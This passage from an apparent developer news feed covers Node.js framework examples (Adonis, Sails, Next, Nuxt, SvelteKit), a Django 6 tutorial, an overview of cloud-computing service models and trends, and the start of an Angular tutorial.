  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) && id >= 0 && id < this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}

Of course, in a real application, we could define a model layer to handle the actual data access.

Sails

Sails is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (Waterline), API generation (Blueprints), and realtime support, including WebSockets.

Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:

/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};

If you run this in Sails, the framework will generate default routes and wire up a NoSQL or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.

Full-stack frameworks

Also known as meta-frameworks, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.

Next.js

Next is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.

In Next, we could define a route at pages/api/dogs/[id].js like so:

export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}

We’d then define the UI component to interact with this route at pages/dogs/[id].js:

import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return Dog Breed Not Found;
  }

  return (
    
      Dog Breed Profile
      Breed Name: {dog.breed}
    
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;

Nuxt.js

Nuxt is the same idea as Next, but applied to the Vue front end. The basic pattern is the same, though. First, we’d define a back-end route:

// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) => {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});

Then, we’d create the UI file in Vue:

// pages/dogs/[id].vue


  
    
      Loading...
    
    
      {{ error.data.error }}
    
    
      Dog Breed Profile
      Breed Name: {{ dog.breed }}

SvelteKit

SvelteKit is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.

In SvelteKit, a back-end route looks like so:

// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id >= 0 && id < dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}

SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):

// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}

The second component is the UI:

// src/routes/dogs/[id]/+page.svelte




  Dog Breed Profile
  Breed Name: {data.dog.breed}

Conclusion

The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.

If you are building microservices or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.

If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.

Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.

It’s also worth noting that, while Node remains the standard server-side runtime, alternatives Deno and Bun have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, Deno Fresh. Bun is respected for its ultra-fast startup and integrated tooling.

Django tutorial: Get started with Django 6

Mon, 13 Jul 2026 17:04:35 +0200

Django is a one-size-fits-all Python web framework that was inspired by Ruby on Rails and uses many of the same metaphors to make web development fast and easy. Fully loaded and flexible, Django has become one of Python’s most widely used web frameworks.

Now in version 6.0, Django includes virtually everything you need to build a web application of any size, and its popularity makes it easy to find examples and help for various scenarios. Plus, Django provides tools to allow your application to evolve and add features gracefully, and to migrate its data schema if there is one.

Django also has a reputation for being complex, with many components and a good deal of “under the hood” configuration required. In truth, you can use Django to get a simple Python application up and running in relatively short order, then expand its functionality as needed.

This article guides you through creating a basic application using Django 6.0. We’ll also touch on the most crucial features for web developers in the Django 6 release.

Installing Django

Assuming you have Python 3.12 or higher installed, the first step to installing Django is to create a virtual environment. Installing Django in the venv keeps Django and its associated libraries separate from your base Python installation, which is always a good practice.

Next, install Django in your chosen virtual environment via Python’s pip utility:

pip install django

This installs the core Django libraries and the django-admin command-line utility used to manage Django projects.

Creating a new Django project

Django instances are organized into two tiers: projects and apps.

A project is an instance of Django with its own database configuration, settings, and apps. It’s best to think of a project as a place to store all the site-level configurations you’ll use.
An app is a subdivision of a project, with its own route and rendering logic. Multiple apps can be placed in a single Django project.

To create a new Django project from scratch, activate the virtual environment where you have Django installed. Then enter the directory where you want to store the project and type:

django-admin startproject

The is the name of both the project and the subdirectory where the project will be stored. Be sure to pick a name that isn’t likely to collide with a name used by Python or Django internally. A name like myproj works well.

The newly created directory should contain a manage.py file, which is used to control the app’s behavior from the command line, along with another subdirectory (also with the project name) that contains the following files:

An __init__.py file, which is used by Python to designate a subdirectory as a code module.
settings.py, which holds the settings used for the project. Many of the most common settings will be pre-populated for you.
urls.py, which lists the routes or URLs available to your Django project, or that the project will return responses for.
wsgi.py, which is used by WSGI-compatible web servers, such as Apache HTTP or Nginx, to serve your project’s apps.
asgi.py, which is used by ASGI-compatible web servers to serve your project’s apps. ASGI is a relatively new standard for asynchronous servers and applications, and requires a server that supports it, like uvicorn. Django only recently added native support for asynchronous applications, which will also need to be hosted on an async-compatible server to be fully effective.

Next, test the project to ensure it’s functioning. From the command line in the directory containing your project’s manage.py file, enter:

python manage.py runserver

This should start a development web server available at http://127.0.0.1:8000/. Visit that link and you should see a simple welcome page that tells you the installation was successful.

Note that the development web server should not be used to serve a Django project to the public. It’s solely for local testing and is not designed to scale for public-facing applications.

Creating a Django application

Next, we’ll create an application inside of this project. Navigate to the same directory as manage.py and issue the following command:

python manage.py startapp myapp

This creates a subdirectory for an application named myapp that contains the following:

A migrations directory: Contains code used to migrate the site between versions of its data schema. Django projects typically have a database, so the schema for the database—including changes to the schema—is managed as part of the project.
admin.py: Contains objects used by Django’s built-in administration tools. If your app has an admin interface or privileged users, you will configure the related objects here.
apps.py: Provides configuration information about the app to the project at large, by way of an AppConfig object.
models.py: Contains objects that define data structures, used by your app to interface with databases.
tests.py: Contains any tests created by you and used to ensure that your site’s functions and modules are working as intended.
views.py: Contains functions that render and return responses.

To start working with the application, you need to first register it with the project. Edit myproj/settings.py as follows, adding a line to the top of the INSTALLED_APPS list:


INSTALLED_APPS = [
    "myapp.apps.MyappConfig",
    "django.contrib.admin",
    ...

If you look in myproj/myapp/apps.py, you’ll see a pre-generated object named MyappConfig, which we’ve referenced here.

Adding routes and views to your Django application

Django applications follow a basic pattern for processing requests:

When an incoming request is received, Django parses the URL for a route to apply it to.
Routes are defined in urls.py, with each route linked to a view, meaning a function that returns data to be sent back to the client. Views can be located anywhere in a Django project, but they’re best organized into their own modules.
Views can contain the results of a template, which is code that formats requested data according to a certain design.

To get an idea of how all these pieces fit together, let’s modify the default route of our sample application to return a custom message.

Routes are defined in urls.py, in a list named urlpatterns. If you open the sample urls.py, you’ll see urlpatterns already predefined:


urlpatterns = [
    path('admin/', admin.site.urls),
]

The path function (a Django built-in) takes a route and a view function as arguments and generates a reference to a URL path. By default, Django creates an admin path that is used for site administration, but we need to create our own routes.

Add another entry, so that the whole file looks like this:


from django.contrib import admin
from django.urls import include, path

urlpatterns = [
    path('admin/', admin.site.urls),
    path('myapp/', include('myapp.urls'))
]

The include function tells Django to look for more route pattern information in the file myapp.urls. All routes found in that file will be attached to the top-level route myapp (e.g., http://127.0.0.1:8080/myapp).

Next, create a new urls.py in myapp and add the following:


from django.urls import path
from . import views

urlpatterns = [
    path('', views.index)
]

Django prepends a slash to the beginning of each URL, so to specify the root of the site (/), we just supply a blank string as the URL.

Now, edit the file myapp/views.py so it looks like this:


from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")

django.http.HttpResponse is a Django built-in that generates an HTTP response from a supplied string. Note that request, which contains the information for an incoming HTTP request, must be passed as the first parameter to a view function.

Stop and restart the development server, and navigate to http://127.0.0.1:8000/myapp/. You should see “”Hello, world!” appear in the browser.

Adding routes with variables in Django

Django can accept routes that incorporate variables as part of their syntax. Let’s say you wanted to accept URLs that had the format year/. You could accomplish that by adding the following entry to urlpatterns:

path(‘year/’, views.year)

The view function views.year would then be invoked through routes like year/1996, year/2010, and so on, with the variable year passed as a parameter to views.year.

To try this out for yourself, add the above urlpatterns entry to myapp/urls.py, then add this function to myapp/views.py:


def year(request, year):
    return HttpResponse('Year: {}'.format(year))

If you navigate to /myapp/year/2010 on your site, you should see Year: 2010 displayed in response. Note that routes like /myapp/year/rutabaga will yield an error because the int: constraint on the variable year allows only an integer in that position. Many other formatting options are available for routes.

Django templates and template partials

You can use Django’s built-in template language to generate web pages from data.

Templates used by Django apps are stored in a directory that is central to the project: /templates//. For our myapp project, the directory would be myapp/templates/myapp/. This directory structure may seem awkward, but allowing Django to look for templates in multiple places avoids name collisions between templates with the same name across multiple apps.

In your myapp/templates/myapp/ directory, create a file named year.html with the following content:

Year: {{year}}

Any value within double curly braces in a template is treated as a variable. Everything else is treated literally.

Modify myapp/views.py to look like this:


from django.shortcuts import render
from django.http import HttpResponse

def index(request):
    return HttpResponse("Hello, world!")

def year(request, year):
    data = {'year':year}
    return render(request, 'myapp/year.html', data)

The render function—a Django “shortcut” (a combination of multiple built-ins for convenience)—takes the existing request object, looks for the template myapp/year.html in the list of available template locations, and passes the dictionary data to it as context for the template. The template uses the dictionary as a namespace for variables used in the template. In this case, the variable {{year}} in the template is replaced with the value for the key year in the dictionary data (that is, data["year"]).

The amount of processing you can do on data within Django templates is intentionally limited. Django’s philosophy is to enforce the separation of presentation and business logic whenever possible. Thus, you can loop through an iterable object, and you can perform if/then/else tests, but modifying the data within a template is discouraged.

For instance, you could encode a simple “if” test this way:


{% if year > 2000 %}
21st century year: {{year}}
{% else %}
Pre-21st century year: {{year}}
{% endif %}

The {% and %} markers delimit blocks of code that can be executed in Django’s template language.

If you want to use a more sophisticated template processing language, you can swap in something like Jinja2 or Mako. Django includes back-end integration for Jinja2, but you can use any template language that returns a string—for instance, by returning that string in an HttpResponse object, as in the case of our “Hello, world!” route.

In versions 6 and up, Django supports template partials, a way to create portions of a template that can be defined once and reused throughout a template. This lets you precompute a given value once over the course of a given template—such as a fancy display version of a user name—and re-use it without having to recompute it each time it’s displayed.

Doing more with Django

What you’ve seen here covers only the most basic elements of a Django application. Django includes a great many other components for use in web projects. Here’s a quick overview:

Databases and data models: Django’s built-in ORM lets you define data structures and relationships between them, as well as migration paths between versions of those structures.
Forms: Django provides a consistent way for views to supply input forms to a user, retrieve data, normalize the results, and provide consistent error reporting. Django 6 added support for Content Security Policy, a way to prevent submitted forms from being vulnerable to content injection or cross-site scripting (XSS) attacks.
Security and utilities: Django includes many built-in functions for caching, logging, session handling, handling static files, and normalizing URLs. It also bundles tools for common security needs like using cryptographic certificates or guarding against cross-site forgery protection or clickjacking.
Tasks: Django 6 added a native mechanisms for creating and managing long-running background tasks, without holding up a response to the user. Note that Django only provides ways to set up and keep track of tasks; it doesn’t include the actual execution mechanism. The only included back ends for tasks are for testing, so you will either need to add a third-party solution or write your own using Django’s back-end task code as a base.

What is cloud computing? From infrastructure to autonomous, agentic-driven ecosystems

Mon, 13 Jul 2026 17:04:32 +0200

Cloud computing continues to be the platform of choice for large applications and a driver of innovation in enterprise technology. Gartner forecasts public cloud spending alone to the public cloud services market alone will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and enterprise modernization.

Driving this growth are the rise of AI and machine learning on the cloud, adoption of edge computing, the maturation of serverless computing, the emergence of multicloud strategies, improved security and privacy, and more sustainable cloud practices.

What is cloud computing?

While often used broadly, the term cloud computing is defined as an abstraction of compute, storage, and network infrastructure assembled as a platform on which applications and systems are deployed quickly and scaled on the fly.

Most cloud customers consume public cloud computing services over the internet, which are hosted in large, remote data centers maintained by cloud providers. The most common type of cloud computing, SaaS (software as service), delivers prebuilt applications to the browsers of customers who pay per seat or by usage, exemplified by such popular apps as Salesforce, Google Docs, or Microsoft Teams.

5 top trends in cloud computing

Agentic cloud ecosystems: The shift from AI as a tool to AI as an autonomous operator within cloud environments.
Sovereign and localized clouds: Meeting strict national data residency and digital sovereignty laws.
Specialized AI hardware access: Navigating the GPU capacity crunch through reserved instances and boutique AI clouds.
Integrated greenOps: Merging cost optimization with mandatory carbon-footprint reporting.
Industry-specific walled gardens: The maturation of vertical clouds into highly regulated, precompliant environments for finance and healthcare.

Next in line is IaaS (infrastructure as a service), which offers vast, virtualized compute, storage, and network infrastructure upon which customers build their own applications, often with the aid of providers’ API-accessible services.

When people refer to the “the cloud” today, they most often mean the big IaaS providers: AWS (Amazon Web Services), Google Cloud Platform, or Microsoft Azure. All three have become ecosystems of services that go way beyond infrastructure and include developer tools, serverless computing, machine learning services and APIs, data warehouses, and thousands of other services. With both SaaS and IaaS, a key benefit is agility. Customers gain new capabilities almost instantly without the capital investment in hardware or software on-premises — and they can instantly scale the cloud resources they consume up or down as needed.

According to Foundry’s Cloud Computing Study, 2025, enterprises are moving to the cloud to improve security and/or governance, increase scalability, accelerate adoption of artificial intelligence and machine learning and other new technologies, replace on-premises legacy technology, improve employee productivity, and ensure disaster recovery and business continuity.

Hyperscalers now dominate cloud services

The largest cloud service providers are often described as hyperscalers, due to their capability to provide large-scale data centers across the globe. Hyperscalers typically offer a wide range of cloud services, including IaaS, PaaS, SaaS, and more.

As mentioned above, notable hyperscalers include Amazon Web Services (AWS), Google Cloud Platform, and Microsoft Azure. They offer the following capabilities.

Scalability: Hyperscalers can handle massive workloads and scale resources up or down quickly.
Cost-effectiveness: Hyperscalers often offer competitive pricing and economies of scale.
Global reach: Hyperscalers operate data centers around the world, providing low-latency access to customers in different regions.
Innovation: Hyperscalers are at the forefront of cloud innovation, offering new services and features.

Challenges of working with hyperscalers

Vendor lock-in: Relying heavily on a single hyperscaler can create vendor lock-in, making it difficult to switch to another provider and charging large egress fees if you do move.
Complexity: Hyperscalers offer a vast array of services, which can be overwhelming for some customers.
Security concerns: Because hyperscalers handle sensitive data, security is a major concern.

AI, Agents, and the Sovereign Cloud

The AI-enabled enterprise has moved beyond simple chatbots. The focus has shifted to agentic workflows — autonomous systems that reside in the cloud and possess the authority to execute business processes, manage cloud spend, and self-patch security vulnerabilities without human intervention.

The shift to agentic infrastructure

Cloud providers are no longer just selling compute. They are selling inference-as-a-service. Modern cloud budgets are now dominated by the high cost of specialized GPU clusters (such as Nvidia’s Blackwell architecture). This has led to the rise of boutique AI clouds that compete with hyperscalers by offering bare-metal access to the latest silicon specifically for model training and fine-tuning.

Data sovereignty and private AI

A major shift in late 2025 is the move away from public AI models for sensitive data. Organizations are increasingly using retrieval-augmented generation (RAG) within walled garden environments. This ensures that a company’s proprietary data never leaves their specific cloud instance to train a provider’s base model.

Furthermore, sovereign AI has become a requirement for global operations. Governments now demand that the AI models processing their citizens’ data be hosted on infrastructure that is owned, operated, and governed within their own borders.

The challenges of ghost AI

Just as shadow IT plagued the 2010s, ghost AI—unauthorized AI agents running on corporate cloud accounts — has become a primary security risk. Managing these autonomous entities requires a new layer of AI governance, where the cloud provider automatically audits the intent and permissions of every running agent to prevent runaway costs or data leaks.

Cloud computing definitions

In 2011, NIST posted a PDF that divided cloud computing into three “service models” — SaaS, IaaS, and PaaS (platform as a service) — the latter being a controlled environment within which customers develop and run applications. These three categories have largely stood the test of time, although most PaaS solutions now are made available as services within IaaS ecosystems rather than as dedicated PaaS clouds.

Two evolutionary trends stand out since NIST’s threefold definition. One is the long and growing list of subcategories within SaaS, IaaS, and PaaS, some of which blur the lines between categories. The other is the explosion of API-accessible services available in the cloud, particularly within IaaS ecosystems. The cloud has become a crucible of innovation where many emerging technologies appear first as services, a big attraction for business customers who understand the potential competitive advantages of early adoption.

SaaS (software as a service) definition

This type of cloud computing delivers applications over the internet, typically with a browser-based user interface. Today, most software companies offer their wares via SaaS — if not exclusively, then at least as an option.

The most popular SaaS applications for business are Google’s G Suite and Microsoft’s Office 365. Most enterprise applications, including giant ERP suites from Oracle and SAP, come in both SaaS and on-premises versions. SaaS applications typically offer extensive configuration options as well as development environments that enable customers to code their own modifications and additions. They also enable data integration with on-prem applications.

IaaS (infrastructure as a service) definition

At a basic level, IaaS cloud providers offer virtualized compute, storage, and networking over the internet on a pay-per-use basis. Think of it as a data center maintained by someone else, remotely, but with a software layer that virtualizes all those resources and automates customers’ ability to allocate them with little trouble.

But that’s just the basics. The full array of services offered by the major public IaaS providers is staggering: highly scalable databases, virtual private networks, big data analytics, AI and machine learning services, application platforms, developer tools, devops tools, and so on. Amazon Web Services was the first IaaS provider and remains the leader, followed by Microsoft Azure, Google Cloud Platform, IBM Cloud, and Oracle Cloud.

PaaS (platform as a service) definition

PaaS provides sets of services and workflows that specifically target developers, who can use shared tools, processes, and APIs to accelerate the development, testing, and deployment of applications. Salesforce’s Heroku and Salesforce Platform (formerly Force.com) are popular public cloud PaaS offerings; Cloud Foundry and Red Hat’s OpenShift can be deployed on premises or accessed through the major public clouds. For enterprises, PaaS can ensure that developers have ready access to resources, follow certain processes, and use only a specific array of services, while operators maintain the underlying infrastructure.

FaaS (function as a service) definition

FaaS, the original and most basic version of serverless computing, adds another layer of abstraction to PaaS, so that developers are insulated from everything in the stack below their code. Instead of futzing with virtual servers, containers, and application runtimes, developers upload narrowly functional blocks of code, and set them to be triggered by a certain event (such as a form submission or uploaded file). All of the major clouds offer FaaS on top of IaaS: AWS Lambda, Azure Functions, Google Cloud Functions, and IBM Cloud Functions. A special benefit of FaaS applications is that they consume no IaaS resources until an event occurs, reducing pay-per-use fees.

Private cloud definition

A private cloud downsizes the technologies used to run IaaS public clouds into software that can be deployed and operated in a customer’s data center. As with a public cloud, internal customers can provision their own virtual resources to build, test, and run applications, with metering to charge back departments for resource consumption. For administrators, the private cloud amounts to the ultimate in data center automation, minimizing manual provisioning and management.

VMware remains a force in the private cloud software market, but the acquisition by Broadcom has created confusion and raised concerns among some customers about potential changes in pricing, licensing, and support. This could lead some organizations to explore alternative solutions.

OpenStack continues to be a popular open-source choice for building private clouds. It offers a flexible and customizable platform that can be tailored to specific needs. However, OpenStack can be complex to deploy and manage, and it may require significant expertise to maintain.

Kubernetes, a container orchestration platform that has gained significant traction in recent years, is often used in conjunction with other technologies like OpenStack to build cloud-native applications. Red Hat OpenShift is a comprehensive cloud platform based on Kubernetes that provides a managed experience for deploying and managing container-based, applications.

Many cloud providers offer their own cloud-native platforms and tools, such as AWS Outposts, Azure Stack, and Google Cloud Anthos.

Common factors to consider when evaluating private cloud platforms include the following:

Pricing: The initial cost of deployment and ongoing maintenance costs.
Complexity: The level of technical expertise needed to manage the platform.
Flexibility: The ability to customize the platform to meet specific needs.
Vendor lock-in: The degree to which the organization is tied to a particular vendor.
Security: The security features and capabilities of the platform.
Scalability: The capability to expand the platform to meet future needs.

Hybrid cloud definition

A hybrid cloud is the integration of a private cloud with a public cloud. At its most developed, the hybrid cloud involves creating parallel environments in which applications can move easily between private and public clouds. In other instances, databases may stay in the customer data center and integrate with public cloud applications — or virtualized data center workloads may be replicated to the cloud during times of peak demand. The types of integrations between private and public clouds vary widely, but they must be extensive to earn a hybrid cloud designation.

Public APIs (application programming interfaces) definition

Just as SaaS delivers applications to users over the internet, public APIs offer developers application functionality that can be accessed programmatically. For example, in building web applications, developers often tap into the Google Maps API to provide driving directions; to integrate with social media, developers may call upon APIs maintained by Twitter, Facebook, or LinkedIn. Twilio has built a successful business delivering telephony and messaging services via public APIs. Ultimately, any business can provision its own public APIs to enable customers to consume data or access application functionality.

iPaaS (integration platform as a service) definition

Data integration is a key issue for any sizeable company, but particularly for those that adopt SaaS at scale. iPaaS providers typically offer prebuilt connectors for sharing data among popular SaaS applications and on-premises enterprise applications, though providers may focus more or less on business-to-business and e-commerce integrations, cloud integrations, or traditional SOA-style integrations. iPaaS offerings in the cloud from such providers as Dell Boomi, Informatica, MuleSoft, and SnapLogic also let users implement data mapping, transformations, and workflows as part of the integration-building process.

IDaaS (identity as a service) definition

The most difficult security issue related to cloud computing is managing user identity and its associated rights and permissions across data centers and pubic cloud sites. IDaaS providers maintain cloud-based user profiles that authenticate users and enable access to resources or applications based on security policies, user groups, and individual privileges. The ability to integrate with various directory services (Active Directory, LDAP, etc.) and provide single sign-on across business-oriented SaaS applications is essential.

Leaders in IDaaS include Microsoft, IBM, Google, Oracle, Okta, Capgemini, Okta, Junio Corporation, OneLogin, and JumpCloud.

Collaboration platforms

Collaboration solutions such as Slack and Microsoft Teams have become vital messaging platforms that enable groups to communicate and work together effectively. Basically, these solutions are relatively simple SaaS applications that support chat-style messaging along with file sharing and audio or video communication. Most offer APIs to facilitate integrations with other systems and enable third-party developers to create and share add-ins that augment functionality.

Vertical clouds

Key providers in such industries as financial services, healthcare, retail, life sciences, and manufacturing provide PaaS clouds to enable customers to build vertical applications that tap into industry-specific, API-accessible services. Vertical clouds can dramatically reduce the time to market for vertical applications and accelerate domain-specific B2B integrations. Most vertical clouds are built with the intent of nurturing partner ecosystems.

Other cloud computing considerations

The most widely accepted definition of cloud computing means that you run your workloads on someone else’s servers, but this is not the same as outsourcing. Virtual cloud resources and even SaaS applications must be configured and maintained by the customer. Consider these factors when planning a cloud initiative.

Cloud computing security considerations

Objections to the public cloud generally begin with cloud security, although the major public clouds have proven themselves much less susceptible to attack than the average enterprise data center.

Of greater concern is the integration of security policy and identity management between customers and public cloud providers. In addition, government regulation may forbid customers from allowing sensitive data off-premises. Other concerns include the risk of outages and the long-term operational costs of public cloud services.

Multicloud management considerations

To enhance their operational efficiency, reduce costs, and improve security, many companies are increasingly turning to multicloud strategies. By distributing workloads across multiple cloud providers, organizations can avoid vendor lock-in, optimize costs, and leverage the best-of-breed services offered by different providers.

This multicloud approach also improves performance and reliability by minimizing downtime and optimizing latency. Additionally, multicloud strategies strengthen security by diversifying the attack surface and facilitating compliance with industry regulations. Finally, by replicating critical workloads across multiple regions and providers, companies can establish robust disaster recovery and business continuity plans, ensuring minimal disruption in the event of catastrophic failures.

The bar to qualify as a multicloud adopter is low: A customer just needs to use more than one public cloud service. However, depending on the number and variety of cloud services involved, managing multiple clouds can become complex from both a cost optimization and a technology perspective.

In some cases, customers subscribe to multiple cloud services simply to avoid dependence on a single provider. A more sophisticated approach is to select public clouds based on the unique services they offer and, in some cases, integrate them. For example, developers might want to use Google’s Vertex AI Studio on Google Cloud Platform to build AI-driven applications, but prefer Jenkins hosted on the CloudBees platform for continuous integration.

To control costs and reduce management overhead, some customers opt for cloud management platforms (CMPs) and/or cloud service brokers (CSBs), which let you manage multiple clouds as if they were one cloud. The problem is that these solutions tend to limit customers to such common-denominator services as storage and compute, ignoring the panoply of services that make each cloud unique.

Edge computing considerations

You often see edge computing incorrectly described as an alternative to cloud computing. Edge computing is about moving compute to local devices in a highly distributed system, typically as a layer around a cloud computing core. There is typically a cloud involved to orchestrate all of the devices and take in their data, then analyze it or otherwise act on it.

To the cloud and back – why repatriation is real

While public cloud offers scalability and flexibility, some enterprises are opting to return to on-premises infrastructure due to rising costs, data security concerns, performance issues, vendor lock-in, and regulatory compliance challenges. While the public cloud offers scalability and flexibility, on-premises infrastructure provides greater control, customization, and potential cost savings in certain scenarios leading some technology decision-makers to consider repatriation. However, a hybrid cloud approach, combining public and private cloud, often offers the best balance of benefits.

More specific reasons to repatriate including the following:

Unanticipated costs, such as data transfer fees, storage charges, and egress fees, can quickly escalate, especially for large-scale cloud deployments.
Inaccurate resource provisioning or underutilization can lead to higher-than-expected costs.
Stricter data privacy regulations require organizations to store and process data within specific geographic boundaries.
For highly sensitive data, companies may prefer to maintain greater control over security measures and access permissions.
On-premises infrastructure can offer lower latency, particularly for applications requiring real-time processing or high-performance computing.
Overreliance on a single cloud provider can limit flexibility and increase costs. Repatriation allows organizations to diversify their infrastructure and reduce vendor dependency.
Industries with stringent compliance requirements may find it easier to meet standards with on-premises infrastructure.
On-premises environments offer greater control over hardware, software, and network configurations, allowing for customized solutions.

Benefits of cloud computing

The cloud’s main appeal is to reduce the time to market of applications that need to scale dynamically. Increasingly, however, developers are drawn to the cloud by the abundance of advanced new services that can be incorporated into applications, from machine learning to internet of things (IoT) connectivity.

Although businesses sometimes migrate legacy applications to the cloud to reduce data center resource requirements, the real benefits accrue to new applications that take advantage of cloud services and “cloud native” attributes. The latter include microservices architecture, Linux containers to enhance application portability, and container management solutions such as Kubernetes that orchestrate container-based services. Cloud-native approaches and solutions can be part of either public or private clouds and help enable highly efficient devops workflows.

Cloud computing, be it public or private or hybrid or multicloud, has become the platform of choice for large applications, particularly customer-facing ones that need to change frequently or scale dynamically. More significantly, the major public clouds now lead the way in enterprise technology development, debuting new advances before they appear anywhere else. Workload by workload, enterprises are opting for the cloud, where an endless parade of exciting new technologies invite innovative use.

SaaS has its roots in the ASP (application service provider) trend of the early 2000s, when providers would run applications for business customers in the provider’s data center, with dedicated instances for each customer. The ASP model was a spectacular failure because it quickly became impossible for providers to maintain so many separate instances, particularly as customers demanded customizations and updates.

Salesforce is widely considered the first company to launch a highly successful SaaS application using multitenancy — a defining characteristic of the SaaS model. Rather than each Salesforce customer getting its own application instance, customers who subscribe to the company’s salesforce automation software share a single, large, dynamically scaled instance of an application (like tenants sharing an apartment building), while storing their data in separate, secure repositories on the SaaS provider’s servers. Fixes can be rolled out behind the scenes with zero downtime and customers can receive UX or functionality improvements as they become available.

Get started with Angular: Introducing the modern reactive workflow

Mon, 13 Jul 2026 17:04:25 +0200

Angular is a cohesive, all-in-one reactive framework for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to React, many of those issues were addressed in Angular 19. Modern Angular is built around the Signals API and minimal formality, while still delivering a one-stop-shop that includes dependency injection and integrated routing.

Angular is popular with the enterprise because of its stable, curated nature, but it is becoming more attractive to the wider developer community thanks to its more community engaged development philosophy. That, along with its recent technical evolution, make Angular one of the most interesting projects to watch right now.

Why choose Angular?

Choosing a JavaScript development framework sometimes feels like a philosophical debate, but it should be a practical decision. Angular is unique because it is strongly opinionated. It doesn’t just give you a view layer; it provides a complete toolkit for building web applications.

Like other reactive frameworks, Angular is built around its reactive engine, which lets you bind state (variables) to the view. But if that’s all you needed, one of the smaller, more focused frameworks would be more than enough. What Angular has that some of these other frameworks don’t is its ability to use data binding to automatically synchronize data from your user interface (UI) with your JavaScript objects. Angular also leverages dependency injection and inversion of control to help structure your application and make it easier to test. And it contains more advanced features like server-side rendering (SSR) and static-site generation (SSG) within itself, rather than requiring you to engage a meta-framework for either style of development.

While Angular might not be your top choice for every occasion, it’s an excellent option for larger projects that require features you won’t get with a more lightweight framework.

Also see: Catching up with Angular 19.

Getting started with Angular

With those concepts in mind, let’s set up Angular in your development environment. After that, we can run through developing a web application with Angular. To start, make sure you have Node and NPM installed. From the command line, enter:

$ node -v
$ npm -v

Next, you can use the Angular CLI to launch a new app:

$ ng new iw-ng

You can use the defaults in your responses to the interactive prompts shown here:

Matthew Tyson

We now have a basic project layout in the new directory, which you can import into an IDE (such as VS Code) or edit directly.

Looking at the project layout, you might notice it is fairly lean, a break from Angular projects of the past. The most important parts are:

src/main.ts: This is the main entry point. In older versions of Angular, this file had to bootstrap a module, which then bootstrapped a component. Now, it avoids any verbose syntax, calling bootstrapApplication with your root component directly.
src/index.html: The main HTML page that hosts your application. This is the standard index.html that serves all root requests in a web page and contains the tag where your Angular component will render. It is the “body” that the “spirit” of your code animates.
src/app/app.ts: The root component of your application. This single file defines the view logic and the component metadata. In the new “standalone” world, it manages its own imports, meaning you can see exactly what dependencies it uses right at the top of the file. (This is the root element that appears in src/index.html.)
